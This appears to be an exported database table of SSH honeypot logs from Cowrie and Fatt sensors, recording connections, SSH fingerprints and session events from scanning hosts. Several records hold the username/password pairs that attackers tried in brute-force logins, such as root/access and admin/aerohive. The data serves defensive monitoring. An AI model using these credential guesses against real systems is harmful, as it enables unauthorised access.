27363	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:07.007771+03	2021-09-20 14:15:14.479646+03	{"_id": "LwbpAnwBvYTbRNuExydE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:46530 (192.168.176.2:22) [session: b7f6b5e99a19]", "session": "b7f6b5e99a19", "@version": "1", "protocol": "ssh", "src_port": 46530, "dest_port": 22, "timestamp": "2021-09-20T11:14:07.007771Z", "@timestamp": "2021-09-20T11:14:07.007Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27365	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:14:08.275435+03	2021-09-20 14:15:14.482644+03	{"_id": "QQbpAnwBvYTbRNuEyidu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35706, "dest_port": 22, "timestamp": "2021-09-20T11:14:08.275435", "@timestamp": "2021-09-20T11:14:08.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27366	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:07.739325+03	2021-09-20 14:15:14.483674+03	{"_id": "QgbpAnwBvYTbRNuEyycq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:35706 (192.168.176.2:22) [session: cbe20f691dcb]", "session": "cbe20f691dcb", "@version": "1", "protocol": "ssh", "src_port": 35706, "dest_port": 22, "timestamp": "2021-09-20T11:14:07.739325Z", "@timestamp": "2021-09-20T11:14:07.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27367	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:07.700861+03	2021-09-20 14:15:14.484674+03	{"_id": "QwbpAnwBvYTbRNuEyycr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3e781d115cd8", "@version": "1", "timestamp": "2021-09-20T11:14:07.700861Z", "@timestamp": "2021-09-20T11:14:07.700Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27368	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:07.755076+03	2021-09-20 14:15:14.486648+03	{"_id": "RAbpAnwBvYTbRNuEyycr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "cbe20f691dcb", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:07.755076Z", "@timestamp": "2021-09-20T11:14:07.755Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27369	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:14:08.022457+03	2021-09-20 14:15:14.487675+03	{"_id": "RQbpAnwBvYTbRNuEyycr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [client/password] failed", "session": "ed078a0ef281", "@version": "1", "password": "password", "username": "client", "timestamp": "2021-09-20T11:14:08.022457Z", "@timestamp": "2021-09-20T11:14:08.022Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27370	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:08.275982+03	2021-09-20 14:15:14.488674+03	{"_id": "RgbpAnwBvYTbRNuEyycr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "cbe20f691dcb", "@version": "1", "timestamp": "2021-09-20T11:14:08.275982Z", "@timestamp": "2021-09-20T11:14:08.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27371	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:09.428617+03	2021-09-20 14:15:14.489674+03	{"_id": "RwbpAnwBvYTbRNuEzidV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38274, "timestamp": "2021-09-20T11:14:09.428617", "@timestamp": "2021-09-20T11:14:09.428Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27372	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:14:08.832403+03	2021-09-20 14:15:14.491646+03	{"_id": "TwbpAnwBvYTbRNuEzycU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:42138 (192.168.176.2:22) [session: 9e29758cf749]", "session": "9e29758cf749", "@version": "1", "protocol": "ssh", "src_port": 42138, "dest_port": 22, "timestamp": "2021-09-20T11:14:08.832403Z", "@timestamp": "2021-09-20T11:14:08.832Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27373	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:09.625979+03	2021-09-20 14:15:14.493644+03	{"_id": "TQbpAnwBvYTbRNuEzycU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/aerohive] failed", "session": "3e781d115cd8", "@version": "1", "password": "aerohive", "username": "admin", "timestamp": "2021-09-20T11:14:09.625979Z", "@timestamp": "2021-09-20T11:14:09.625Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27374	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:09.631757+03	2021-09-20 14:15:14.495644+03	{"_id": "TgbpAnwBvYTbRNuEzycU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/access] failed", "session": "cbe20f691dcb", "@version": "1", "password": "access", "username": "root", "timestamp": "2021-09-20T11:14:09.631757Z", "@timestamp": "2021-09-20T11:14:09.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27375	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:14:10.916941+03	2021-09-20 14:15:14.496644+03	{"_id": "WgbpAnwBvYTbRNuE1ifl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "3e781d115cd8", "@version": "1", "duration": 3.5197458267211914, "timestamp": "2021-09-20T11:14:10.916941Z", "@timestamp": "2021-09-20T11:14:10.916Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27376	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:14:16.856465+03	2021-09-20 14:15:14.497675+03	{"_id": "bQbpAnwBvYTbRNuE7Sea", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": 